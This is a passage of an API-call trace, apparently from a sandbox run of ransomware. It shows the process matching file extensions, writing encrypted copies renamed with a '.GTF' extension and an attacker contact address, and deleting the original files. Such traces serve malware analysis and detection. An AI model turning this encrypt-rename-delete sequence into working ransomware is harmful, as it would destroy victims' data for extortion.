	[0163.072] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1
	[0163.072] lstrlenW (lpString=".xlsx") returned 5
	[0163.072] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1
	[0163.072] lstrlenW (lpString=".ppt") returned 4
	[0163.072] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1
	[0163.072] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.072] lstrlenW (lpString=".zip") returned 4
	[0163.072] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1
	[0163.072] lstrlenW (lpString=".rar") returned 4
	[0163.073] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString=".bz2") returned 4
	[0163.073] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString=".7z") returned 3
	[0163.073] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1
	[0163.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.073] lstrlenW (lpString=".dbf") returned 4
	[0163.073] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.073] lstrlenW (lpString=".1cd") returned 4
	[0163.073] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.073] lstrlenW (lpString=".jpg") returned 4
	[0163.073] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.073] lstrlenW (lpString=".doc") returned 4
	[0163.073] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString=".docx") returned 5
	[0163.073] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1
	[0163.073] lstrlenW (lpString=".pdf") returned 4
	[0163.073] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString=".xls") returned 4
	[0163.073] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString=".xlsx") returned 5
	[0163.073] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1
	[0163.073] lstrlenW (lpString=".ppt") returned 4
	[0163.073] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.073] lstrlenW (lpString=".zip") returned 4
	[0163.073] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString=".rar") returned 4
	[0163.073] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString=".bz2") returned 4
	[0163.073] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1
	[0163.073] lstrlenW (lpString=".7z") returned 3
	[0163.074] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1
	[0163.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.074] lstrlenW (lpString=".dbf") returned 4
	[0163.074] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1
	[0163.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.074] lstrlenW (lpString=".1cd") returned 4
	[0163.074] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1
	[0163.074] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0163.074] lstrlenW (lpString=".jpg") returned 4
	[0163.074] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1
	[0163.074] lstrcmpiW (lpString1=".policy", lpString2=".GTF") returned 1
	[0163.074] lstrlenW (lpString="javaws.policy") returned 13
	[0163.074] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0163.075] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=98) returned 1
	[0163.075] CloseHandle (hObject=0x504) returned 1
	[0163.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20
	[0163.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.075] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0163.075] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.075] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.075] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0163.076] GetLastError () returned 0x0
	[0163.076] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x62, lpOverlapped=0x0) returned 1
	[0163.077] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x70, lpOverlapped=0x0) returned 1
	[0163.078] ReadFile (in: hFile=0x504, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.078] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xee, lpOverlapped=0x0) returned 1
	[0163.078] SetEndOfFile (hFile=0x530) returned 1
	[0163.078] CloseHandle (hObject=0x530) returned 1
	[0163.078] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.078] SetEndOfFile (hFile=0x504) returned 1
	[0163.081] CloseHandle (hObject=0x504) returned 1
	[0163.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0163.360] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1
	[0163.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.361] lstrlenW (lpString=".doc") returned 4
	[0163.361] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0163.361] lstrlenW (lpString=".docx") returned 5
	[0163.361] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0163.361] lstrlenW (lpString=".pdf") returned 4
	[0163.361] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0163.361] lstrlenW (lpString=".xls") returned 4
	[0163.361] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0163.361] lstrlenW (lpString=".xlsx") returned 5
	[0163.361] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0163.361] lstrlenW (lpString=".ppt") returned 4
	[0163.361] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0163.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.361] lstrlenW (lpString=".zip") returned 4
	[0163.361] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0163.361] lstrlenW (lpString=".rar") returned 4
	[0163.361] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0163.361] lstrlenW (lpString=".bz2") returned 4
	[0163.361] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0163.361] lstrlenW (lpString=".7z") returned 3
	[0163.361] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0163.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.361] lstrlenW (lpString=".dbf") returned 4
	[0163.361] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0163.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.361] lstrlenW (lpString=".1cd") returned 4
	[0163.361] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0163.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.361] lstrlenW (lpString=".jpg") returned 4
	[0163.361] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0163.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.362] lstrlenW (lpString=".doc") returned 4
	[0163.362] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0163.362] lstrlenW (lpString=".docx") returned 5
	[0163.362] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0163.362] lstrlenW (lpString=".pdf") returned 4
	[0163.362] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0163.362] lstrlenW (lpString=".xls") returned 4
	[0163.362] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0163.362] lstrlenW (lpString=".xlsx") returned 5
	[0163.362] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0163.362] lstrlenW (lpString=".ppt") returned 4
	[0163.362] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0163.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.362] lstrlenW (lpString=".zip") returned 4
	[0163.362] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0163.362] lstrlenW (lpString=".rar") returned 4
	[0163.362] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0163.362] lstrlenW (lpString=".bz2") returned 4
	[0163.362] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0163.362] lstrlenW (lpString=".7z") returned 3
	[0163.362] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0163.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.362] lstrlenW (lpString=".dbf") returned 4
	[0163.362] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0163.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.362] lstrlenW (lpString=".1cd") returned 4
	[0163.362] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0163.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0163.363] lstrlenW (lpString=".jpg") returned 4
	[0163.363] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0163.363] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0163.363] lstrlenW (lpString="winscp.exe") returned 10
	[0163.363] CreateFileW (lpFileName="C:\\Program Files\\Java\\winscp.exe" (normalized: "c:\\program files\\java\\winscp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0163.462] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=78336) returned 1
	[0163.462] CloseHandle (hObject=0x4b4) returned 1
	[0163.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\winscp.exe" (normalized: "c:\\program files\\java\\winscp.exe")) returned 0x20
	[0163.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\winscp.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\winscp.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.716] CreateFileW (lpFileName="C:\\Program Files\\Java\\winscp.exe" (normalized: "c:\\program files\\java\\winscp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.830] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.830] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.830] lstrlenW (lpString=".doc") returned 4
	[0163.830] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0163.830] lstrlenW (lpString=".docx") returned 5
	[0163.830] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0163.830] lstrlenW (lpString=".pdf") returned 4
	[0163.830] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0163.830] lstrlenW (lpString=".xls") returned 4
	[0163.830] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0163.830] lstrlenW (lpString=".xlsx") returned 5
	[0163.830] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0163.830] lstrlenW (lpString=".ppt") returned 4
	[0163.830] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0163.830] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.831] lstrlenW (lpString=".zip") returned 4
	[0163.831] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0163.831] lstrlenW (lpString=".rar") returned 4
	[0163.831] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0163.831] lstrlenW (lpString=".bz2") returned 4
	[0163.831] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0163.831] lstrlenW (lpString=".7z") returned 3
	[0163.831] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0163.831] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.831] lstrlenW (lpString=".dbf") returned 4
	[0163.831] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0163.831] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.831] lstrlenW (lpString=".1cd") returned 4
	[0163.831] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0163.831] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.831] lstrlenW (lpString=".jpg") returned 4
	[0163.831] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0163.831] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.831] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.831] lstrlenW (lpString=".doc") returned 4
	[0163.831] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0163.831] lstrlenW (lpString=".docx") returned 5
	[0163.831] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0163.831] lstrlenW (lpString=".pdf") returned 4
	[0163.831] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0163.831] lstrlenW (lpString=".xls") returned 4
	[0163.831] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0163.831] lstrlenW (lpString=".xlsx") returned 5
	[0163.831] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0163.831] lstrlenW (lpString=".ppt") returned 4
	[0163.831] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0163.831] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.831] lstrlenW (lpString=".zip") returned 4
	[0163.831] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0163.832] lstrlenW (lpString=".rar") returned 4
	[0163.832] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0163.832] lstrlenW (lpString=".bz2") returned 4
	[0163.832] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0163.832] lstrlenW (lpString=".7z") returned 3
	[0163.832] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0163.832] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.832] lstrlenW (lpString=".dbf") returned 4
	[0163.832] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0163.832] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.832] lstrlenW (lpString=".1cd") returned 4
	[0163.832] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0163.832] lstrlenW (lpString="C:\\Program Files\\Java\\winscp.exe") returned 32
	[0163.832] lstrlenW (lpString=".jpg") returned 4
	[0163.832] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0163.832] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0163.832] lstrlenW (lpString="FINCL_01.MID") returned 12
	[0163.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0163.992] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=12981) returned 1
	[0163.993] CloseHandle (hObject=0x540) returned 1
	[0163.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220
	[0163.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0163.993] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.993] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.994] GetLastError () returned 0x0
	[0163.994] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x32b5, lpOverlapped=0x0) returned 1
	[0164.004] WriteFile (in: hFile=0x43c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x32c0, lpOverlapped=0x0) returned 1
	[0164.005] ReadFile (in: hFile=0x540, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.005] WriteFile (in: hFile=0x43c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.005] SetEndOfFile (hFile=0x43c) returned 1
	[0164.005] CloseHandle (hObject=0x43c) returned 1
	[0164.005] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.005] SetEndOfFile (hFile=0x540) returned 1
	[0164.008] CloseHandle (hObject=0x540) returned 1
	[0164.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1
	[0164.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.009] lstrlenW (lpString=".doc") returned 4
	[0164.009] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.009] lstrlenW (lpString=".docx") returned 5
	[0164.009] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.009] lstrlenW (lpString=".pdf") returned 4
	[0164.009] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.009] lstrlenW (lpString=".xls") returned 4
	[0164.009] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.009] lstrlenW (lpString=".xlsx") returned 5
	[0164.009] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.009] lstrlenW (lpString=".ppt") returned 4
	[0164.009] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.009] lstrlenW (lpString=".zip") returned 4
	[0164.009] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.009] lstrlenW (lpString=".rar") returned 4
	[0164.009] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.009] lstrlenW (lpString=".bz2") returned 4
	[0164.009] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.009] lstrlenW (lpString=".7z") returned 3
	[0164.010] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.010] lstrlenW (lpString=".dbf") returned 4
	[0164.010] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.010] lstrlenW (lpString=".1cd") returned 4
	[0164.010] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.010] lstrlenW (lpString=".jpg") returned 4
	[0164.010] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.010] lstrlenW (lpString=".doc") returned 4
	[0164.010] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.010] lstrlenW (lpString=".docx") returned 5
	[0164.010] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.010] lstrlenW (lpString=".pdf") returned 4
	[0164.010] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.010] lstrlenW (lpString=".xls") returned 4
	[0164.010] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.010] lstrlenW (lpString=".xlsx") returned 5
	[0164.010] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.010] lstrlenW (lpString=".ppt") returned 4
	[0164.010] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.010] lstrlenW (lpString=".zip") returned 4
	[0164.010] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.010] lstrlenW (lpString=".rar") returned 4
	[0164.010] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.010] lstrlenW (lpString=".bz2") returned 4
	[0164.010] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.010] lstrlenW (lpString=".7z") returned 3
	[0164.010] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.010] lstrlenW (lpString=".dbf") returned 4
	[0164.010] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.011] lstrlenW (lpString=".1cd") returned 4
	[0164.011] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68
	[0164.011] lstrlenW (lpString=".jpg") returned 4
	[0164.011] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.011] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.011] lstrlenW (lpString="JNGLE_01.MID") returned 12
